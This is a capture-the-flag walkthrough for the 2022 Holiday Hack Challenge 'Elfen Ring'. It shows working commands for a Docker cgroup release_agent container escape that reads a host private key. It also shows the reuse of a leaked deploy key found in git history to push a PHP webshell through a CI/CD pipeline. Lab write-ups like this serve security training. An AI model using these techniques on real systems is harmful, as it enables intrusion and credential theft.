HHC 2022 - Elfen Ring Walkthrough

The walkthrough for the Elfen Ring, the second of 5 rings in the 2022 Holiday Hack Challenge

HHC 2022 - Elfen Ring Walkthrough

2.1 Clone with a Difference

Clone the git repo by tweaking it to grab it from the website, all of the information needed is provided in the console:

git clone http://haugfactory.com/asnowball/aws_scripts.git

Then read the README.md file:
tail -n 5 aws_scripts/README.md
and then run runtoanswer and answer the question... which is:

Answer

maintainers

Console

bow@78a119886b69:~$ git clone http://haugfactory.com/asnowball/aws_scripts.git
Cloning into 'aws_scripts'...
warning: redirecting to https://haugfactory.com/asnowball/aws_scripts.git/
remote: Enumerating objects: 64, done.
remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
Unpacking objects: 100% (64/64), 23.83 KiB | 1.70 MiB/s, done.
bow@78a119886b69:~$ tail -n 1 aws_scripts/README.md 
If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.
bow@78a119886b69:~$ runtoanswer 
                                     Read that repo!
What's the last word in the README.md file for the aws_scripts repo?

> maintainers
Your answer: maintainers

Checking......
Your answer is correct!

2.2 Find the Next Objective

Complete the next objective by talking to Bow Ninecandle after you complete the task.  Click on him to determine the next objective.

2.3 Prison Escape

Objective

Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file /home/jailer/.ssh/jail.key.priv?

Hint

Were you able to mount up? If so, users' home/ directories can be a great place to look for secrets...

Enumerating the system

grinchum-land:~$ pwd
/home/samways
grinchum-land:~$ id
uid=1000(samways) gid=1000(users) groups=1000(users)
grinchum-land:~$ sudo -l
User samways may run the following commands on grinchum-land:
    (ALL) NOPASSWD: ALL

Running pwd to see the home directory we landed in, as the user samaways.  We run id to determine the level of permissions we have, which seems to be a general user.  However, after running sudo -l to list our super user rights, it appears as if we can run any sudo command without needing to enter a password. JACKPOT! Or should I say.... ITS A CHRISTMAS MIRACLE!

Escalating Privileges

Switch to super user (sudo su), and see we now have root permissions.

grinchum-land:~$ sudo su
grinchum-land:/home/samways# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

For the next steps, it helps to follow the infamous hacktricks, along with a few tweaks:

First, follow the instructions listed on the website to change rdma to memory.

grinchum-land:/home/samways# mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
grinchum-land:/home/samways# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
grinchum-land:/home/samways# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

Enable cgroup notifications on release of the "x" cgroup, by writing a 1 to its notify_on_release file.

grinchum-land:/home/samways# echo 1 > /tmp/cgrp/x/notify_on_release

Set RDMA cgroup release agent to execute a /cmd script, which will be created later in the script. Note the path to the /cmd script, which we are going to create on the host.

grinchum-land:/home/samways# echo $host_path
/var/lib/docker/overlay2/4938ae3f38e39c4c193979d3c0d44c1c1997b533c99db2d769df824b27237bad/diff
grinchum-land:/home/samways# echo "$host_path/cmd" > /tmp/cgrp/release_agent
grinchum-land:/home/samways# cat /tmp/cgrp/release_agent 
/var/lib/docker/overlay2/4938ae3f38e39c4c193979d3c0d44c1c1997b533c99db2d769df824b27237bad/diff/cmd

So this is where we have another slight deviation from hacktricks, and try to complete the actual objective, which is to read the file /home/jailer/.ssh/jail.key.priv

grinchum-land:/home/samways# echo '#!/bin/sh' > /cmd
grinchum-land:/home/samways# echo "cat /home/jailer/.ssh/jail.key.priv > $host_path/output" >> /cmd
grinchum-land:/home/samways# chmod a+x /cmd
grinchum-land:/home/samways# cat /cmd 
##!/bin/sh
cat /home/jailer/.ssh/jail.key.priv > /var/lib/docker/overlay2/4938ae3f38e39c4c193979d3c0d44c1c1997b533c99db2d769df824b27237bad/diff/output

Which then:

grinchum-land:/home/samways# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
grinchum-land:/home/samways# cat /output

                Congratulations! 

          You've found the secret for the 
          HHC22 container escape challenge!

                     .--._..--.
              ___   ( _'-_  -_.'
          _.-'   `-._|  - :- |
      _.-'           `--...__|
   .-'                       '--..___
  / `._                              \
   `. `._               one           |
     `. `._                           /
       '. `._    :__________....-----'
         `..`---'    |-_  _- |___...----..._
                     |_....--'             `.`.
               _...--'                       `.`.
          _..-'                             _.'.'
       .-'             step                _.'.'
       |                               _.'.'
       |                   __....------'-'
       |     __...------''' _|
       '--'''        |-  - _ |
               _.-''''''''''''''''''-._
            _.'                        |\
          .'                         _.' |
          `._          closer           |:.'
            `._                     _.' |
               `..__                 |  |
                    `---.._.--.    _|  |
                     | _   - | `-.._|_.'
          .--...__   |   -  _|
         .'_      `--.....__ |
        .'_                 `--..__
       .'_                         `.
      .'_    082bb339ec19de4935867   `-.
      `--..____                        _`.
               ```--...____          _..--'
                     | - _ ```---.._.'
                     |   - _ |
                     |_ -  - |
                     |   - _ |
                     | -_  -_|
                     |   - _ |
                     |   - _ |
                     | -_  -_|

Answer

We enter that hash value found in the file, 082bb339ec19de4935867, as our answer. in the Objectives panel.

2.4 Find the Next Objective

Talk to Tinsel Upatree, who is right next to the Raspberry Pi used for the Prison Escape challenge to get the next objective.

2.5 Jolly CI/CD

Objective

Exploit a CI/CD pipeline. Get hints for this challenge from Tinsel Upatree in the Elfen Ring.

Hints

Switching Hats

If you find a way to impersonate another identity, you might try re-cloning a repo with their credentials.

Committing to Mistakes

The thing about Git is that every step of development is accessible – even steps you didn't mean to take! git log can show code skeletons.

Tinsel

So we know of a github repo that's located at http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git

Walkthrough

Enumerate

Attempt to clone the git repo:

grinchum-land:~$ git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
Cloning into 'rings-of-powder'...
fatal: unable to access 'http://gitlab.flag.net.internal/rings-of-powder/': The requested URL returned error: 502
grinchum-land:~$ git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
Cloning into 'wordpress.flag.net.internal'...
remote: Enumerating objects: 10195, done.
remote: Total 10195 (delta 0), reused 0 (delta 0), pack-reused 10195
Receiving objects: 100% (10195/10195), 36.49 MiB | 17.36 MiB/s, done.
Resolving deltas: 100% (1799/1799), done.
Updating files: 100% (9320/9320), done.

View the files, just to understand what the current state is, and what might change:

grinchum-land:~/wordpress.flag.net.internal$ ls -al
total 236
drwxr-xr-x  6 samways users  4096 Dec  9 20:12 .
drwxr-xr-x  1 samways  1002  4096 Dec  9 20:12 ..
drwxr-xr-x  8 samways users  4096 Dec  9 20:12 .git
-rw-r--r--  1 samways users   258 Dec  9 20:12 .gitlab-ci.yml
-rw-r--r--  1 samways users   405 Dec  9 20:12 index.php
-rw-r--r--  1 samways users 19915 Dec  9 20:12 license.txt
-rw-r--r--  1 samways users  7401 Dec  9 20:12 readme.html
-rw-r--r--  1 samways users  7165 Dec  9 20:12 wp-activate.php
drwxr-xr-x  9 samways users  4096 Dec  9 20:12 wp-admin
-rw-r--r--  1 samways users   351 Dec  9 20:12 wp-blog-header.php
-rw-r--r--  1 samways users  2338 Dec  9 20:12 wp-comments-post.php
-rw-r--r--  1 samways users  3001 Dec  9 20:12 wp-config-sample.php
-rw-r--r--  1 samways users  5706 Dec  9 20:12 wp-config.php
drwxr-xr-x  6 samways users  4096 Dec  9 20:12 wp-content
-rw-r--r--  1 samways users  3943 Dec  9 20:12 wp-cron.php
drwxr-xr-x 26 samways users 12288 Dec  9 20:12 wp-includes
-rw-r--r--  1 samways users  2494 Dec  9 20:12 wp-links-opml.php
-rw-r--r--  1 samways users  3973 Dec  9 20:12 wp-load.php
-rw-r--r--  1 samways users 48498 Dec  9 20:12 wp-login.php
-rw-r--r--  1 samways users  8522 Dec  9 20:12 wp-mail.php
-rw-r--r--  1 samways users 23706 Dec  9 20:12 wp-settings.php
-rw-r--r--  1 samways users 32051 Dec  9 20:12 wp-signup.php
-rw-r--r--  1 samways users  4817 Dec  9 20:12 wp-trackback.php
-rw-r--r--  1 samways users  3236 Dec  9 20:12 xmlrpc.php

Look at the Git history:

grinchum-land:~/wordpress.flag.net.internal$ git log --oneline
37b5d57 (HEAD -> main, origin/main, origin/HEAD) updated wp-config
a59cfe8 update gitlab.ci.yml
a968d32 test
7093aad add gitlab-ci
e2208e4 big update
e19f653 whoops
abdea0e added assets
a7d8f4d init commit

The commit (e19f653) that says whoops is seems interesting, sounds like someone was making a commit to undo a mistake.  Therefore we want to checkout the commit just before that one, abdea0e.

grinchum-land:~/wordpress.flag.net.internal$ git checkout abdea0e
Note: switching to 'abdea0e'.

<--Truncated for Brevity -->

Find the SSH Key

We can now see there's a hidden .ssh directory:

grinchum-land:~/wordpress.flag.net.internal$ ls -al
total 48
drwxr-xr-x 5 samways users  4096 Dec  9 20:22 .
drwxr-xr-x 1 samways  1002  4096 Dec  9 20:12 ..
drwxr-xr-x 8 samways users  4096 Dec  9 20:22 .git
drwxr-xr-x 2 samways users  4096 Dec  9 20:22 .ssh
-rw-r--r-- 1 samways users 19915 Dec  9 20:12 license.txt
-rw-r--r-- 1 samways users  7401 Dec  9 20:12 readme.html
drwxr-xr-x 6 samways users  4096 Dec  9 20:12 wp-content

Looking inside, it appears to be an SSH key pair:

grinchum-land:~/wordpress.flag.net.internal$ cd .ssh
grinchum-land:~/wordpress.flag.net.internal/.ssh$ ls -al
total 16
drwxr-xr-x 2 samways users 4096 Dec  9 20:22 .
drwxr-xr-x 5 samways users 4096 Dec  9 20:22 ..
-rw-r--r-- 1 samways users  411 Dec  9 20:22 .deploy
-rw-r--r-- 1 samways users  102 Dec  9 20:22 .deploy.pub
grinchum-land:~/wordpress.flag.net.internal/.ssh$ cat .deploy.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com
grinchum-land:~/wordpress.flag.net.internal/.ssh$ 

Prep for Targeting CI/CD

Make an ~/.ssh/ directory within your home directory, copy the ssh private key over, and change the permissions, and create a config file

grinchum-land:~$ cp ~/wordpress.flag.net.internal/.ssh/.deploy ^C
grinchum-land:~$ mkdir .ssh
grinchum-land:~$ cp ~/wordpress.flag.net.internal/.ssh/.deploy .ssh/
grinchum-land:~$ chmod 600 .ssh/.deploy 

The contents of ~/.ssh/config:

Host gitlab
    Hostname gitlab.flag.net.internal
    IdentityFile ~/.ssh/.deploy
    IdentitiesOnly yes # see NOTES below

You can test your configuration:

grinchum-land:~$ ssh -T git@gitlab
The authenticity of host 'gitlab.flag.net.internal (172.18.0.150)' can't be established.
ED25519 key fingerprint is SHA256:jW9axa8onAWH+31D5iHA2BYliy2AfsFNaqomfCzb2vg.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'gitlab.flag.net.internal' (ED25519) to the list of known hosts.
Welcome to GitLab, @knee-oh!

So, for a quick recap 1) the theme of the challenge is CI/CD, and 2) we've found additional credentials for a repository that was publicly accessible.

Doing a quick curl http://wordpress.flag.net.internal | head (taking the git repository name) spits back a bunch of HTML to give us an idea that the name of the repository is also the URL of the website, and presumably our target.

We'll now try to pull down the repository with the .ssh/.deploy private key we found, write a webshell to it and see if we can commit the webshell.

Attempt to access a page you know does not exist. This is 1) to validate connectivity to the website, and 2) will later be used validate your commit worked.

grinchum-land:~$ curl http://wordpress.flag.net.internal/zentester
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>

Clone the Repo with Credentials

Before we clone the repo again, we move to a fresh directory (~/take2/).  This was likely unnecessary for the attack path.  However, we wanted to enumerate if there were any differences between the publicly accessible branch and the user authenticated branch.

Run the command to clone the repository, this time using SSH credentials:

git clone git@gitlab:rings-of-powder/wordpress.flag.net.internal.git

Note, in order to push commits, we will also have to configure user.name and user.email on our local git with the following commands. We can use a bogus username and email:

git config --global user.name "zentester"
git config --global user.email "zentester@zentesty.com"

From here we can test uploading different shells - by creating the file, git add , git commit, and git push. It took a few attempts, with many shells that didn't work on first try.

echo "<? system($_REQUEST['cmd']); ?>" > zentester.php
git add .
git commit -m "bout to get pwned"
git push

Shortly after, we are able to navigate to the page, and this time without a 404 error, indicating our webshell worked!

grinchum-land:~$ curl http://wordpress.flag.net.internal/zentester.php
grinchum-land:~$ 

We enumerate the system and our permissions to find we are the www-data user, and find the flag.txt in the root directory!

grinchum-land:~$ curl http://wordpress.flag.net.internal/zentester.php?cmd=cat+/flag.txt
<pre>
                           Congratulations! You've found the HHC2022 Elfen Ring!


                                        ░░░░            ░░░░                                      
                                ░░                              ░░░░                              
                            ░░                                      ░░░░                          
                                                                        ░░                        
                      ░░                                                  ░░░░                    
                                                                              ░░                  
                                      ░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░                  ░░                
                                  ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░                ░░              
                              ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒                ░░            
                          ░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓░░              ▓▓▓▓▓▓▓▓▒▒░░░░            ░░░░          
          ░░            ░░▒▒▓▓▓▓▓▓▓▓                            ▓▓▓▓▓▓▒▒░░            ░░░░        
                      ░░▒▒▓▓▓▓▓▓                                    ▓▓▒▒▒▒░░          ░░░░        
                      ▒▒▓▓▓▓▓▓                                        ▓▓▓▓▒▒░░          ░░░░      
      ░░            ▒▒▓▓▓▓▓▓                                            ▓▓▒▒░░░░        ░░░░▒▒    
                  ░░▒▒▓▓▓▓░░                                            ░░▒▒▒▒░░░░      ░░░░▒▒    
                  ░░▓▓▓▓▓▓                                                ▓▓▒▒░░░░      ░░░░▒▒    
    ░░            ▒▒▓▓▓▓                                                    ▒▒░░░░        ░░▒▒▒▒  
    ░░          ░░▓▓▓▓▓▓                                                    ▒▒▒▒░░░░      ░░▒▒▒▒  
    ░░          ▒▒▓▓▓▓                                                        ▒▒░░░░      ░░▒▒▒▒  
                ▒▒▓▓▓▓                                                        ▒▒░░░░░░    ░░▒▒▒▒  
  ░░          ░░▓▓▓▓▒▒                                                        ▒▒░░░░░░    ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓                                                            ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓                                                            ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓               oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT             ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░░░        ▒▒▓▓▓▓                                                            ░░░░  ░░░░░░▒▒▒▒▓▓
  ░░░░        ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▒▒░░        ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▒▒░░░░      ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▓▓░░░░      ░░▓▓▓▓▒▒                                                        ░░      ░░░░▒▒▒▒▓▓▓▓
    ▒▒░░        ▒▒▓▓▓▓                                                        ░░    ░░░░▒▒▒▒▒▒▓▓  
    ▒▒░░░░      ░░▓▓▓▓                                                        ░░    ░░░░▒▒▒▒▓▓▓▓  
    ▓▓▒▒░░      ░░▒▒▓▓▓▓                                                    ░░      ░░▒▒▒▒▒▒▓▓▓▓  
    ▓▓▒▒░░░░      ▒▒▒▒▓▓                                                          ░░░░▒▒▒▒▒▒▓▓▓▓  
      ▒▒▒▒░░░░    ▒▒▒▒▒▒▒▒                                                        ░░▒▒▒▒▒▒▒▒▓▓    
      ▓▓▒▒░░░░    ░░░░▒▒▒▒▓▓                                            ░░      ░░░░▒▒▒▒▒▒▓▓▓▓    
        ▒▒▒▒░░░░    ░░▒▒▒▒▒▒▒▒                                        ░░      ░░░░▒▒▒▒▒▒▒▒▓▓      
          ▓▓▒▒░░░░  ░░░░░░░░▒▒▓▓                                    ░░      ░░░░▒▒▒▒▒▒▓▓▓▓        
          ▓▓▓▓▒▒░░░░░░░░░░░░░░▒▒▒▒▓▓                            ░░        ░░░░▒▒▒▒▒▒▓▓▓▓▓▓        
            ▓▓▓▓▒▒░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒                ░░░░          ░░░░▒▒▒▒▒▒▓▓▓▓▓▓          
              ▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░                ░░░░▒▒▒▒▒▒▓▓▓▓▓▓            
                ▓▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░                        ░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓              
                  ▓▓▓▓▓▓▒▒▒▒░░░░░░░░░░░░░░░░              ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓                
                    ▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓                  
                      ██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓██                    
                          ██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██                        
                            ████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████                          
                                ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████████                              
                                ░░░░░░░░▓▓██████████████████░░░░░░░░   

Answer

Enter the hash value found inside the flag.txt file, oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT, within the Objectives panel.

GLORRYYYYY

Once the hash value is entered within the Objectives panel, we have successfully recovered the Elfen Ring! GLORY!

More Walkthroughs

Below are the other walkthroughs for the 2022 Holiday Hack Challenge: